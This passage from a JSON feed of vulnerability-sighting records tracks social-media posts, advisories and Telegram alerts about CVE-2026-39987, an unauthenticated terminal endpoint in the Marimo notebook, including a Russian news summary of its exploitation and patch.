"creation_timestamp": "2026-04-12T09:00:33.716045Z"}, {"uuid": "a9086009-2a11-49f6-b571-6246da9c3cad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39983", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjbygtfs3v25", "content": "", "creation_timestamp": "2026-04-12T09:00:40.452680Z"}, {"uuid": "fd0c1fb5-20ec-4aa7-8edb-f5f035e00f51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mjct7xk2422q", "content": "", "creation_timestamp": "2026-04-12T17:00:00.563498Z"}, {"uuid": "8b2eb923-9a0e-49a5-b7d0-214a8c11b295", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/rxerium.com/post/3mjcw6yotxm2y", "content": "", "creation_timestamp": "2026-04-12T17:53:09.561346Z"}, {"uuid": "43cce470-ae06-419f-81ae-aa6fad84ee9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mjcxgrwonj2p", "content": "", "creation_timestamp": "2026-04-12T18:15:24.334757Z"}, {"uuid": "f6c8541d-4547-4fe1-a826-334a5f6ff9fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mjd7knei2725", "content": "", "creation_timestamp": "2026-04-12T20:40:43.264462Z"}, {"uuid": "89cdc9e3-0bf1-40e8-be6f-25970226fd8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/intel.overresearched.net/post/3mjda7g45ts2f", "content": "", "creation_timestamp": "2026-04-12T20:52:20.450726Z"}, {"uuid": "fc9c2591-c986-42a2-8f3b-26ea554d6496", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/intel.overresearched.net/post/3mjdaefqvdk2f", "content": "", "creation_timestamp": "2026-04-12T20:55:08.277105Z"}, {"uuid": "6f3718f0-a504-4bf9-ad4b-2fb2b55ac429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/intel.overresearched.net/post/3mjdafw7ii22f", "content": "", "creation_timestamp": "2026-04-12T20:55:58.830024Z"}, {"uuid": "004589a1-d05e-41ce-b496-82d9f7efbbe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3mjdqfgjl5r2t", "content": "", "creation_timestamp": "2026-04-13T01:42:10.838471Z"}, {"uuid": "8646d6c9-83d2-4e94-9f09-b43021001ead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mjdt2jxnih2t", "content": "", "creation_timestamp": "2026-04-13T02:29:38.131344Z"}, {"uuid": "79949c11-0ed9-4377-aa66-e14ad064ce13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-39987", "type": "seen", "source": "https://infosec.exchange/users/patrickcmiller/statuses/116395207586097637", "content": "", "creation_timestamp": "2026-04-13T03:12:01.111325Z"}, {"uuid": "903852da-4f81-4f3c-aedc-6914fdc4e124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/patrickcmiller.bsky.social/post/3mje2hc5qcm2u", "content": "", "creation_timestamp": "2026-04-13T04:42:02.145943Z"}, {"uuid": "a17af7ff-c13a-4dd4-a8e9-456f845ed7f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mjebe4mmwg2l", "content": "", "creation_timestamp": "2026-04-13T06:45:31.972188Z"}, {"uuid": "5db21aae-b540-4eed-b8c2-47c226f08a2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mjf3k7nv6t2g", "content": "", "creation_timestamp": "2026-04-13T14:34:13.552179Z"}, {"uuid": "d85c1031-f006-452e-9908-1b5d6070c554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-39987", "type": "seen", "source": "https://infosec.exchange/users/patrickcmiller/statuses/116398156738057915", "content": "", "creation_timestamp": "2026-04-13T15:42:01.620132Z"}, {"uuid": "513a3d8d-79a2-44c8-a98f-b900239568bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/concisecyber.bsky.social/post/3mjfe54dwya2w", "content": "", "creation_timestamp": "2026-04-13T17:08:08.598455Z"}, {"uuid": "0acab391-e583-4afa-8976-1094e2154416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116398528617948925", "content": "", "creation_timestamp": "2026-04-13T17:16:37.119055Z"}, {"uuid": "6bcd9e99-7165-4f9a-837e-931de7606293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/e-kiledjian.bsky.social/post/3mjfenercoc2c", "content": "", "creation_timestamp": "2026-04-13T17:17:07.091145Z"}, {"uuid": "8fda74e7-9e32-493a-a855-f57b332f8045", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-critical-pre-authentication-remote-code-execution-marimo-exploited-wild-patch", "content": "", "creation_timestamp": "2026-04-13T08:28:29.000000Z"}, {"uuid": "d376ac24-95ee-4881-8512-a8e345ea6c3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://threatintel.cc/2026/04/13/marimo-rce-vulnerability-exploited-in.html", "content": "", "creation_timestamp": "2026-04-13T15:16:42.000000Z"}, {"uuid": "6434ab8f-aeef-4288-a0fe-66fdfe8d8a85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mjgdjcg6pl25", "content": "", "creation_timestamp": "2026-04-14T02:29:32.625562Z"}, {"uuid": "1ca5fc2f-a6b1-4b08-a369-8f617592ef79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-39987", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mjh4pko6ea2b", "content": "", "creation_timestamp": "2026-04-14T10:00:26.049623Z"}, {"uuid": "99e98ac0-4062-4135-9441-76763d383ebc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mjhwmkncza2h", "content": "", "creation_timestamp": "2026-04-14T17:44:03.493021Z"}, {"uuid": "23619e86-c94f-4e30-a212-7b3a323ae4e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/TengkorakCyberCrewzz/39700", "content": "Weaponized CVE-2026-39987 Pushes Blockchain Backdoor Through Hugging Face \u2013 gbhackers.com\n\nFri, 17 Apr 2026 16:10:46", "creation_timestamp": "2026-04-17T12:03:03.000000Z"}, {"uuid": "00ec6700-6d4d-4f13-8864-af4a7797396d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://t.me/TengkorakCyberCrewzz/9796", "content": "Weaponized CVE-2026-39987 Pushes Blockchain Backdoor Through Hugging Face \u2013 gbhackers.com\n\nFri, 17 Apr 2026 16:10:46", "creation_timestamp": "2026-04-17T12:03:03.000000Z"}, {"uuid": "11f23650-5e05-4d4d-83d2-d4cc1bd70438", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/GithubRedTeam/80379", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a keraattin\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-15 08:17:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-39987: Marimo Python Notebook Pre-Auth RCE (CVSS 9.3). Python & Nmap NSE detection scripts. Missing authentication on /terminal/ws WebSocket endpoint gives attackers a full PTY shell without any credentials. Exploited in the wild within 10 hours of disclosure. Fixed in Marimo 0.23.0.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-15T09:00:05.000000Z"}, {"uuid": "bf7a2b12-3afb-4b85-807f-159b39c53ba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39983", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjidndqk4w2j", "content": "", "creation_timestamp": "2026-04-14T21:37:07.678229Z"}, {"uuid": "3df1525d-8d07-47ba-9db2-4223d3b2972f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mjitxvbi6n2t", "content": "", "creation_timestamp": "2026-04-15T02:29:21.344157Z"}, {"uuid": "6e9cfdee-da20-4f41-acb5-b740490f83f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39984", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjj2gkkbn72w", "content": "", "creation_timestamp": "2026-04-15T04:24:55.935211Z"}, {"uuid": "311d767c-f375-4be4-80d9-538d1b21df6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/lordman1982.bsky.social/post/3mjk62jnvvr2w", "content": "", "creation_timestamp": "2026-04-15T15:02:28.596107Z"}, {"uuid": "fc027406-aa87-4e4e-ae26-8d43e2c0cebf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/80034", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-12 21:52:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-39987\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-12T22:00:05.000000Z"}, {"uuid": "ffbf4e7e-56ea-4299-ab10-df962d38b36f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mjmviav6ma2y", "content": "", "creation_timestamp": "2026-04-16T17:07:06.645650Z"}, {"uuid": "e74eac33-4a93-48b4-a174-a9dbd457ae21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-39987", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mjo7uvniot25", "content": "", "creation_timestamp": "2026-04-17T05:45:44.789011Z"}, {"uuid": "2694dd8c-e53f-4150-a377-e8ccba1ceab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3mjoj4djr3n32", "content": "", "creation_timestamp": "2026-04-17T08:30:58.643895Z"}, {"uuid": "ac72ef13-6624-4604-a26a-15cf7c0f7ee6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/canartuc.com/post/3mjoqsqzo2f2o", "content": "", "creation_timestamp": "2026-04-17T10:48:46.582704Z"}, {"uuid": "36d357b3-1dea-4ff0-b2f6-0d53b5d5de01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mjp53klabf2p", "content": "", "creation_timestamp": "2026-04-17T14:28:27.724251Z"}, {"uuid": "2103cb2b-09c2-4c74-9fb3-60aa7caf9066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/elhacker.net/post/3mjr3eot2nd2a", "content": "", "creation_timestamp": "2026-04-18T09:03:05.677573Z"}, {"uuid": "19aed64b-2d28-4fda-ae40-443af1c89b5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3mjullzwgsxk2", "content": "", "creation_timestamp": "2026-04-19T18:31:39.789442Z"}, {"uuid": "9fc02dbd-4114-4760-a0b3-16f1a702546d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mjvu6xzkzc2v", "content": "", "creation_timestamp": "2026-04-20T06:37:55.432594Z"}, {"uuid": "2aed50a9-dad6-4d18-bfa0-3b8b2fc369c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39980", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mk2cncsxxq2o", "content": "", "creation_timestamp": "2026-04-22T01:07:08.167654Z"}, {"uuid": "1e49ca29-db9c-4e33-aee3-b7218d577dd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/80178", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987_exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a mki9\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-13 23:58:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-14T00:00:04.000000Z"}, {"uuid": "0159b037-085a-4a55-b169-f553ff3e4b2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/S_E_Reborn/6305", "content": "\u0412\u0441\u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 10 \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u0435\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c Marimo \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Marimo 0.20.4 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-39987 \u0438 GitHub \u043e\u0446\u0435\u043d\u0438\u043b \u0435\u0451 \u0432 9,3 \u0438\u0437 10.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Sysdig, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u00a0\u0438 \u0431\u0435\u0437 \u043f\u0440\u043e\u043c\u0435\u0434\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438   \u0435\u0433\u043e \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0430 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f.\n\nMarimo - \u044d\u0442\u043e \u0441\u0440\u0435\u0434\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0431\u043b\u043e\u043a\u043d\u043e\u0442\u043e\u0432 \u043d\u0430 Python \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u0430\u0442\u0430\u0441\u0430\u0439\u043d\u0442\u0438\u0441\u0442\u0430\u043c\u0438, \u0418\u0418-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438. \u0412 \u0446\u0435\u043b\u043e\u043c, \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 20 000 \u0437\u0432\u0435\u0437\u0434 \u043d\u0430 GitHub \u0438 1000 \u0444\u043e\u0440\u043a\u043e\u0432.\n\nCVE-2026-39987 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u043a\u043e\u043d\u0435\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 WebSocket /terminal/ws \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0443 \u0431\u0435\u0437 \u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0441 \u043b\u044e\u0431\u043e\u0433\u043e \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u042d\u0442\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u044f\u043c\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u0441 \u0442\u0435\u043c\u0438 \u0436\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u0447\u0442\u043e \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 Marimo.\n\nMarimo \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 8 \u0430\u043f\u0440\u0435\u043b\u044f \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0432\u0435\u0440\u0441\u0438\u044e 0.23.0 \u0434\u043b\u044f \u0435\u0451 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0438 Marimo \u043a\u0430\u043a \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0431\u043b\u043e\u043a\u043d\u043e\u0442, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u0435\u0445, \u043a\u0442\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Marimo \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0449\u0443\u044e \u0441\u0435\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 --host 0.0.0.0 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Sysdig, \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u044b\u0445 12 \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 